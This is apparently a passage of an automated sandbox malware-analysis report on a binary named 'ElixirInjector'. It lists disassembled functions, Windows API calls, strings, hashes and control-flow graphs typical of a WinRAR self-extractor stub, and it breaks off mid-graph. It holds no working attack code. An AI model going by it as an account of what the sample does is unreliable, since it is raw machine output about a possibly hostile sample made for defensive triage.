                                                                                              • Opcode Fuzzy Hash: 93efbdc44b6d95d79f695a43c0c516b853b8e41913a9914b4511ca3d4a300224
                                                                                              • Instruction Fuzzy Hash: 8ED1D5B1A083958FCB14DF28D98075BBBE1FF89318F04456DE889DB242D774E908DB5A
                                                                                              Function 00F2B7E0 Relevance: 102.2, APIs: 48, Strings: 10, Instructions: 731windowfilesleepCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog.LIBCMT ref: 00F2B7E5
                                                                                                • Part of subcall function 00F11316: GetDlgItem.USER32(00000000,00003021), ref: 00F1135A
                                                                                                • Part of subcall function 00F11316: SetWindowTextW.USER32(00000000,00F435F4), ref: 00F11370
                                                                                              • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00F2B8D1
                                                                                              • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00F2B8EF
                                                                                              • IsDialogMessageW.USER32(?,?), ref: 00F2B902
                                                                                              • TranslateMessage.USER32(?), ref: 00F2B910
                                                                                              • DispatchMessageW.USER32(?), ref: 00F2B91A
                                                                                              • GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 00F2B93D
                                                                                              • EndDialog.USER32(?,00000001), ref: 00F2B960
                                                                                              • GetDlgItem.USER32(?,00000068), ref: 00F2B983
                                                                                              • SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00F2B99E
                                                                                              • SendMessageW.USER32(00000000,000000C2,00000000,00F435F4), ref: 00F2B9B1
                                                                                                • Part of subcall function 00F2D453: _wcslen.LIBCMT ref: 00F2D47D
                                                                                              • SetFocus.USER32(00000000), ref: 00F2B9B8
                                                                                              • _swprintf.LIBCMT ref: 00F2BA24
                                                                                                • Part of subcall function 00F14092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00F140A5
                                                                                                • Part of subcall function 00F2D4D4: GetDlgItem.USER32(00000068,00F6FCB8), ref: 00F2D4E8
                                                                                                • Part of subcall function 00F2D4D4: ShowWindow.USER32(00000000,00000005,?,?,?,00F2AF07,00000001,?,?,00F2B7B9,00F4506C,00F6FCB8,00F6FCB8,00001000,00000000,00000000), ref: 00F2D510
                                                                                                • Part of subcall function 00F2D4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00F2D51B
                                                                                                • Part of subcall function 00F2D4D4: SendMessageW.USER32(00000000,000000C2,00000000,00F435F4), ref: 00F2D529
                                                                                                • Part of subcall function 00F2D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00F2D53F
                                                                                                • Part of subcall function 00F2D4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00F2D559
                                                                                                • Part of subcall function 00F2D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00F2D59D
                                                                                                • Part of subcall function 00F2D4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00F2D5AB
                                                                                                • Part of subcall function 00F2D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00F2D5BA
                                                                                                • Part of subcall function 00F2D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00F2D5E1
                                                                                                • Part of subcall function 00F2D4D4: SendMessageW.USER32(00000000,000000C2,00000000,00F443F4), ref: 00F2D5F0
                                                                                              • GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00F2BA68
                                                                                              • GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 00F2BA90
                                                                                              • GetTickCount.KERNEL32 ref: 00F2BAAE
                                                                                              • _swprintf.LIBCMT ref: 00F2BAC2
                                                                                              • GetLastError.KERNEL32(?,00000011), ref: 00F2BAF4
                                                                                              • GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 00F2BB43
                                                                                              • _swprintf.LIBCMT ref: 00F2BB7C
                                                                                              • CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 00F2BBD0
                                                                                              • GetCommandLineW.KERNEL32 ref: 00F2BBEA
                                                                                              • MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 00F2BC47
                                                                                              • ShellExecuteExW.SHELL32(0000003C), ref: 00F2BC6F
                                                                                              • Sleep.KERNEL32(00000064), ref: 00F2BCB9
                                                                                              • UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 00F2BCE2
                                                                                              • CloseHandle.KERNEL32(00000000), ref: 00F2BCEB
                                                                                              • _swprintf.LIBCMT ref: 00F2BD1E
                                                                                              • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00F2BD7D
                                                                                              • SetDlgItemTextW.USER32(?,00000065,00F435F4), ref: 00F2BD94
                                                                                              • GetDlgItem.USER32(?,00000065), ref: 00F2BD9D
                                                                                              • GetWindowLongW.USER32(00000000,000000F0), ref: 00F2BDAC
                                                                                              • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00F2BDBB
                                                                                              • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00F2BE68
                                                                                              • _wcslen.LIBCMT ref: 00F2BEBE
                                                                                              • _swprintf.LIBCMT ref: 00F2BEE8
                                                                                              • SendMessageW.USER32(?,00000080,00000001,?), ref: 00F2BF32
                                                                                              • SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 00F2BF4C
                                                                                              • GetDlgItem.USER32(?,00000068), ref: 00F2BF55
                                                                                              • SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00F2BF6B
                                                                                              • GetDlgItem.USER32(?,00000066), ref: 00F2BF85
                                                                                              • SetWindowTextW.USER32(00000000,00F5A472), ref: 00F2BFA7
                                                                                              • SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00F2C007
                                                                                              • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00F2C01A
                                                                                              • DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 00F2C0BD
                                                                                              • EnableWindow.USER32(00000000,00000000), ref: 00F2C197
                                                                                              • SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00F2C1D9
                                                                                                • Part of subcall function 00F2C73F: __EH_prolog.LIBCMT ref: 00F2C744
                                                                                              • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00F2C1FD
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message$ItemSend$Text$Window$_swprintf$File$DialogErrorLast$H_prologLongView_wcslen$CloseCommandCountCreateDispatchEnableExecuteFocusHandleLineMappingModuleNameParamShellShowSleepTickTranslateUnmap__vswprintf_c_l
                                                                                              • String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
                                                                                              • API String ID: 581453772-1670982708
                                                                                              • Opcode ID: f9baf9ac5baf3954b80a967034b63fcb6c0f8e8352a9bc785abbd31d125328cc
                                                                                              • Instruction ID: 2153e8cb7fca68d001d4ba524e546346b5bd82b4c30415d5efffd2257cc7f07b
                                                                                              • Opcode Fuzzy Hash: f9baf9ac5baf3954b80a967034b63fcb6c0f8e8352a9bc785abbd31d125328cc
                                                                                              • Instruction Fuzzy Hash: 1742E871D4436CBAEB21DBB0AC4AFBE376CAB01711F040155FA45A60D2CB785A85FB62
                                                                                              Function 00F20863 Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316libraryfileloaderCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 268 f20863-f20886 call f2ec50 GetModuleHandleW 271 f208e7-f20b48 268->271 272 f20888-f2089f GetProcAddress 268->272 273 f20c14-f20c40 GetModuleFileNameW call f1c29a call f20602 271->273 274 f20b4e-f20b59 call f375fb 271->274 275 f208a1-f208b7 272->275 276 f208b9-f208c9 GetProcAddress 272->276 291 f20c42-f20c4e call f1b146 273->291 274->273 285 f20b5f-f20b8d GetModuleFileNameW CreateFileW 274->285 275->276 279 f208e5 276->279 280 f208cb-f208e0 276->280 279->271 280->279 288 f20c08-f20c0f CloseHandle 285->288 289 f20b8f-f20b9b SetFilePointer 285->289 288->273 289->288 292 f20b9d-f20bb9 ReadFile 289->292 297 f20c50-f20c5b call f2081b 291->297 298 f20c7d-f20ca4 call f1c310 GetFileAttributesW 291->298 292->288 294 f20bbb-f20be0 292->294 296 f20bfd-f20c06 call f20371 294->296 296->288 304 f20be2-f20bfc call f2081b 296->304 297->298 309 f20c5d-f20c7b CompareStringW 297->309 306 f20ca6-f20caa 298->306 307 f20cae 298->307 304->296 306->291 310 f20cac 306->310 311 f20cb0-f20cb5 307->311 309->298 309->306 310->311 313 f20cb7 311->313 314 f20cec-f20cee 311->314 315 f20cb9-f20ce0 call f1c310 GetFileAttributesW 313->315 316 f20cf4-f20d0b call f1c2e4 call f1b146 314->316 317 f20dfb-f20e05 314->317 323 f20ce2-f20ce6 315->323 324 f20cea 315->324 327 f20d73-f20da6 call f14092 AllocConsole 316->327 328 f20d0d-f20d6e call f2081b * 2 call f1e617 call f14092 call f1e617 call f2a7e4 316->328 323->315 326 f20ce8 323->326 324->314 326->314 333 f20df3-f20df5 ExitProcess 327->333 334 f20da8-f20ded GetCurrentProcessId AttachConsole call f33e13 GetStdHandle WriteConsoleW Sleep FreeConsole 327->334 328->333 334->333
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(kernel32), ref: 00F2087C
                                                                                              • GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00F2088E
                                                                                              • GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00F208BF
                                                                                              • GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00F20B69
                                                                                              • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F20B83
                                                                                              • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00F20B93
                                                                                              • ReadFile.KERNEL32(00000000,?,00007FFE,00F43C7C,00000000), ref: 00F20BB1
                                                                                              • CloseHandle.KERNEL32(00000000), ref: 00F20C09
                                                                                              • GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00F20C1E
                                                                                              • CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,00F43C7C,?,00000000,?,00000800), ref: 00F20C72
                                                                                              • GetFileAttributesW.KERNELBASE(?,?,00F43C7C,00000800,?,00000000,?,00000800), ref: 00F20C9C
                                                                                              • GetFileAttributesW.KERNEL32(?,?,00F43D44,00000800), ref: 00F20CD8
                                                                                                • Part of subcall function 00F2081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00F20836
                                                                                                • Part of subcall function 00F2081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00F1F2D8,Crypt32.dll,00000000,00F1F35C,?,?,00F1F33E,?,?,?), ref: 00F20858
                                                                                              • _swprintf.LIBCMT ref: 00F20D4A
                                                                                              • _swprintf.LIBCMT ref: 00F20D96
                                                                                                • Part of subcall function 00F14092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00F140A5
                                                                                              • AllocConsole.KERNEL32 ref: 00F20D9E
                                                                                              • GetCurrentProcessId.KERNEL32 ref: 00F20DA8
                                                                                              • AttachConsole.KERNEL32(00000000), ref: 00F20DAF
                                                                                              • _wcslen.LIBCMT ref: 00F20DC4
                                                                                              • GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00F20DD5
                                                                                              • WriteConsoleW.KERNEL32(00000000), ref: 00F20DDC
                                                                                              • Sleep.KERNEL32(00002710), ref: 00F20DE7
                                                                                              • FreeConsole.KERNEL32 ref: 00F20DED
                                                                                              • ExitProcess.KERNEL32 ref: 00F20DF5
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
                                                                                              • String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
                                                                                              • API String ID: 1207345701-3298887752
                                                                                              • Opcode ID: da79c9d887e06f726508db82d44f7987cd77d8338719ac9a7110a2ef79d5258d
                                                                                              • Instruction ID: 302c099bafcd933f7d7ec85799cfed322722df9f7bb8dcd2de28c952eb014e64
                                                                                              • Opcode Fuzzy Hash: da79c9d887e06f726508db82d44f7987cd77d8338719ac9a7110a2ef79d5258d
                                                                                              • Instruction Fuzzy Hash: BED1C3B1448394ABD331DF54DC49BDFBEE8BF85308F50091DFA85A6142CBB49648EB62
                                                                                              Function 00F2C73F Relevance: 47.7, APIs: 23, Strings: 4, Instructions: 428windowCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 347 f2c73f-f2c757 call f2eb78 call f2ec50 352 f2d40d-f2d418 347->352 353 f2c75d-f2c787 call f2b314 347->353 353->352 356 f2c78d-f2c792 353->356 357 f2c793-f2c7a1 356->357 358 f2c7a2-f2c7b7 call f2af98 357->358 361 f2c7b9 358->361 362 f2c7bb-f2c7d0 call f21fbb 361->362 365 f2c7d2-f2c7d6 362->365 366 f2c7dd-f2c7e0 362->366 365->362 367 f2c7d8 365->367 368 f2c7e6 366->368 369 f2d3d9-f2d404 call f2b314 366->369 367->369 371 f2c9be-f2c9c0 368->371 372 f2ca5f-f2ca61 368->372 373 f2ca7c-f2ca7e 368->373 374 f2c7ed-f2c7f0 368->374 369->357 380 f2d40a-f2d40c 369->380 371->369 378 f2c9c6-f2c9d2 371->378 372->369 376 f2ca67-f2ca77 SetWindowTextW 372->376 373->369 377 f2ca84-f2ca8b 373->377 374->369 379 f2c7f6-f2c850 call f2a64d call f1bdf3 call f1a544 call f1a67e call f16edb 374->379 376->369 377->369 381 f2ca91-f2caaa 377->381 382 f2c9e6-f2c9eb 378->382 383 f2c9d4-f2c9e5 call f37686 378->383 433 f2c98f-f2c9a4 call f1a5d1 379->433 380->352 385 f2cab2-f2cac0 call f33e13 381->385 386 f2caac 381->386 389 f2c9f5-f2ca00 call f2b48e 382->389 390 f2c9ed-f2c9f3 382->390 383->382 385->369 403 f2cac6-f2cacf 385->403 386->385 394 f2ca05-f2ca07 389->394 390->394 396 f2ca12-f2ca32 call f33e13 call f33e3e 394->396 397 f2ca09-f2ca10 call f33e13 394->397 422 f2ca34-f2ca3b 396->422 423 f2ca4b-f2ca4d 396->423 397->396 407 f2cad1-f2cad5 403->407 408 f2caf8-f2cafb 403->408 411 f2cb01-f2cb04 407->411 413 f2cad7-f2cadf 407->413 410 f2cbe0-f2cbee call f20602 408->410 408->411 431 f2cbf0-f2cc04 call f3279b 410->431 415 f2cb11-f2cb2c 411->415 416 f2cb06-f2cb0b 411->416 413->369 419 f2cae5-f2caf3 call f20602 413->419 434 f2cb76-f2cb7d 415->434 435 f2cb2e-f2cb68 415->435 416->410 416->415 419->431 428 f2ca42-f2ca4a call f37686 422->428 429 f2ca3d-f2ca3f 422->429 423->369 430 f2ca53-f2ca5a call f33e2e 423->430 428->423 429->428 430->369 446 f2cc11-f2cc62 call f20602 call f2b1be GetDlgItem SetWindowTextW SendMessageW call f33e49 431->446 447 f2cc06-f2cc0a 431->447 452 f2c855-f2c869 SetFileAttributesW 433->452 453 f2c9aa-f2c9b9 call f1a55a 433->453 443 f2cbab-f2cbce call f33e13 * 2 434->443 444 f2cb7f-f2cb97 call f33e13 434->444 470 f2cb6a 435->470 471 f2cb6c-f2cb6e 435->471 443->431 475 f2cbd0-f2cbde call f205da 443->475 444->443 457 f2cb99-f2cba6 call f205da 444->457 481 f2cc67-f2cc6b 446->481 447->446 454 f2cc0c-f2cc0e 447->454 458 f2c90f-f2c91f GetFileAttributesW 452->458 459 f2c86f-f2c8a2 call f1b991 call f1b690 call f33e13 452->459 453->369 454->446 457->443 458->433 468 f2c921-f2c930 DeleteFileW 458->468 490 f2c8a4-f2c8b3 call f33e13 459->490 491 f2c8b5-f2c8c3 call f1bdb4 459->491 468->433 474 f2c932-f2c935 468->474 470->471 471->434 478 f2c939-f2c965 call f14092 GetFileAttributesW 474->478 475->431 488 f2c937-f2c938 478->488 489 f2c967-f2c97d MoveFileW 478->489 481->369 485 f2cc71-f2cc85 SendMessageW 481->485 485->369 488->478 489->433 492 f2c97f-f2c989 MoveFileExW 489->492 490->491 497 f2c8c9-f2c908 call f33e13 call f2fff0 490->497 491->453 491->497 492->433 497->458
                                                                                              APIs
                                                                                              • __EH_prolog.LIBCMT ref: 00F2C744
                                                                                                • Part of subcall function 00F2B314: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00F2B3FB
                                                                                              • _wcslen.LIBCMT ref: 00F2CA0A
                                                                                              • _wcslen.LIBCMT ref: 00F2CA13
                                                                                              • SetWindowTextW.USER32(?,?), ref: 00F2CA71
                                                                                              • _wcslen.LIBCMT ref: 00F2CAB3
                                                                                              • _wcsrchr.LIBVCRUNTIME ref: 00F2CBFB
                                                                                              • GetDlgItem.USER32(?,00000066), ref: 00F2CC36
                                                                                              • SetWindowTextW.USER32(00000000,?), ref: 00F2CC46
                                                                                              • SendMessageW.USER32(00000000,00000143,00000000,00F5A472), ref: 00F2CC54
                                                                                              • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00F2CC7F
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
                                                                                              • String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
                                                                                              • API String ID: 2804936435-312220925
                                                                                              • Opcode ID: db236e3283842e6b1e1c5c01c052a754aa846e10027d276a9a9dc412806677a6
                                                                                              • Instruction ID: 809c29c153c1390d43a16f71e78711d35262289fea013044316c9c087dac4b17
                                                                                              • Opcode Fuzzy Hash: db236e3283842e6b1e1c5c01c052a754aa846e10027d276a9a9dc412806677a6
                                                                                              • Instruction Fuzzy Hash: 7FE16772D00229AADF24DBA4EC85EEE77BCAB04350F4441A5F909E7051EF749F84AF61
                                                                                              Function 00F1DA67 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog.LIBCMT ref: 00F1DA70
                                                                                              • GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00F1DAAC
                                                                                                • Part of subcall function 00F1C29A: _wcslen.LIBCMT ref: 00F1C2A2
                                                                                                • Part of subcall function 00F205DA: _wcslen.LIBCMT ref: 00F205E0
                                                                                                • Part of subcall function 00F21B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00F1BAE9,00000000,?,?,?,000103D8), ref: 00F21BA0
                                                                                              • _wcslen.LIBCMT ref: 00F1DDE9
                                                                                              • __fprintf_l.LIBCMT ref: 00F1DF1C
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
                                                                                              • String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
                                                                                              • API String ID: 566448164-801612888
                                                                                              • Opcode ID: 6986ec4609537ddce53eeb7fc6e6ffaf4f338294f2b2096a931ffd590e13514e
                                                                                              • Instruction ID: e059e4d476a54d3a40cbec1c7ec2f644f49dedde36f6e71d0933f0f9b5963d66
                                                                                              • Opcode Fuzzy Hash: 6986ec4609537ddce53eeb7fc6e6ffaf4f338294f2b2096a931ffd590e13514e
                                                                                              • Instruction Fuzzy Hash: F732CF72900218AACF24EF68CC41BEA77B5FF18720F44451AFD05A7291EBB5D9C5EB90
                                                                                              Function 00F2D4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97windowCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              APIs
                                                                                                • Part of subcall function 00F2B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00F2B579
                                                                                                • Part of subcall function 00F2B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00F2B58A
                                                                                                • Part of subcall function 00F2B568: IsDialogMessageW.USER32(000103D8,?), ref: 00F2B59E
                                                                                                • Part of subcall function 00F2B568: TranslateMessage.USER32(?), ref: 00F2B5AC
                                                                                                • Part of subcall function 00F2B568: DispatchMessageW.USER32(?), ref: 00F2B5B6
                                                                                              • GetDlgItem.USER32(00000068,00F6FCB8), ref: 00F2D4E8
                                                                                              • ShowWindow.USER32(00000000,00000005,?,?,?,00F2AF07,00000001,?,?,00F2B7B9,00F4506C,00F6FCB8,00F6FCB8,00001000,00000000,00000000), ref: 00F2D510
                                                                                              • SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00F2D51B
                                                                                              • SendMessageW.USER32(00000000,000000C2,00000000,00F435F4), ref: 00F2D529
                                                                                              • SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00F2D53F
                                                                                              • SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00F2D559
                                                                                              • SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00F2D59D
                                                                                              • SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00F2D5AB
                                                                                              • SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00F2D5BA
                                                                                              • SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00F2D5E1
                                                                                              • SendMessageW.USER32(00000000,000000C2,00000000,00F443F4), ref: 00F2D5F0
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
                                                                                              • String ID: \
                                                                                              • API String ID: 3569833718-2967466578
                                                                                              • Opcode ID: 42c4c9833d41787bfb43f596faec271e4680b2227245dc09f5944bab49a96d14
                                                                                              • Instruction ID: 57108fce7bdee11f507b067490545304801b1504a0ca6ccb93a4fee395838419
                                                                                              • Opcode Fuzzy Hash: 42c4c9833d41787bfb43f596faec271e4680b2227245dc09f5944bab49a96d14
                                                                                              • Instruction Fuzzy Hash: DF31D37114935ABFD301DF20EC4BFAB7FACEB82719F000908FA9596190DB649A05A777
                                                                                              Function 00F2D78F Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 184COMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 836 f2d78f-f2d7a7 call f2ec50 839 f2d9e8-f2d9f0 836->839 840 f2d7ad-f2d7b9 call f33e13 836->840 840->839 843 f2d7bf-f2d7e7 call f2fff0 840->843 846 f2d7f1-f2d7ff 843->846 847 f2d7e9 843->847 848 f2d812-f2d818 846->848 849 f2d801-f2d804 846->849 847->846 851 f2d85b-f2d85e 848->851 850 f2d808-f2d80e 849->850 853 f2d810 850->853 854 f2d837-f2d844 850->854 851->850 852 f2d860-f2d866 851->852 855 f2d868-f2d86b 852->855 856 f2d86d-f2d86f 852->856 857 f2d822-f2d82c 853->857 858 f2d9c0-f2d9c2 854->858 859 f2d84a-f2d84e 854->859 855->856 860 f2d882-f2d898 call f1b92d 855->860 856->860 861 f2d871-f2d878 856->861 862 f2d81a-f2d820 857->862 863 f2d82e 857->863 864 f2d9c6 858->864 859->864 865 f2d854-f2d859 859->865 872 f2d8b1-f2d8bc call f1a231 860->872 873 f2d89a-f2d8a7 call f21fbb 860->873 861->860 866 f2d87a 861->866 862->857 868 f2d830-f2d833 862->868 863->854 869 f2d9cf 864->869 865->851 866->860 868->854 871 f2d9d6-f2d9d8 869->871 874 f2d9e7 871->874 875 f2d9da-f2d9dc 871->875 882 f2d8d9-f2d8e6 ShellExecuteExW 872->882 883 f2d8be-f2d8d5 call f1b6c4 872->883 873->872 881 f2d8a9 873->881 874->839 875->874 878 f2d9de-f2d9e1 ShowWindow 875->878 878->874 881->872 882->874 885 f2d8ec-f2d8f9 882->885 883->882 887 f2d8fb-f2d902 885->887 888 f2d90c-f2d90e 885->888 887->888 889 f2d904-f2d90a 887->889 890 f2d910-f2d919 888->890 891 f2d925-f2d944 call f2dc3b 888->891 889->888 892 f2d97b-f2d987 CloseHandle 889->892 890->891 899 f2d91b-f2d923 ShowWindow 890->899 891->892 904 f2d946-f2d94e 891->904 893 f2d998-f2d9a6 892->893 894 f2d989-f2d996 call f21fbb 892->894 893->871 898 f2d9a8-f2d9aa 893->898 894->869 894->893 898->871 902 f2d9ac-f2d9b2 898->902 899->891 902->871 905 f2d9b4-f2d9be 902->905 904->892 906 